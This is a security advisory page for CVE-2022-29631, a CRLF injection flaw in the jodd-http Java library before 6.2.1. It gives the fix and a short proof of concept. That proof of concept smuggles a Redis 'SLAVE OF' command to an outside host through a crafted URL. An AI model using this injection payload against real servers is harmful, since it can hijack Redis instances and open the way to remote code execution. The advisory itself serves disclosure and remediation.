CRLF Injection Affecting org.jodd:jodd-http package, versions [,6.2.1)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JAVA-ORGJODD-2859805
- published7 Jun 2022
- disclosed7 Jun 2022
- credit1nhann
Introduced: 7 Jun 2022
CVE-2022-29631 (opens in a new tab)How to fix?
Upgrade org.jodd:jodd-http to version 6.2.1 or higher.
Overview
Affected versions of this package are vulnerable to CRLF Injection via the jodd.http.HttpRequest#set and jodd.http.HttpRequest#send components. Exploiting this vulnerability allows the attacker to inject an arbitrary TCP payload via a CRLF sequences in a URL.
PoC:
package top.inhann;
import jodd.http.HttpRequest;
import jodd.http.HttpResponse;
public class Test {
public static void main(String[] args) {
String url = "http://127.0.0.1:6379/ HTTP/1.1\r\nHost: 127.0.0.1:6379\r\n\r\nSLAVE OF inhann.top:6379\r\n\r\nPOST / ";
HttpRequest req = HttpRequest.get(url);
HttpResponse res = req.send();
}
}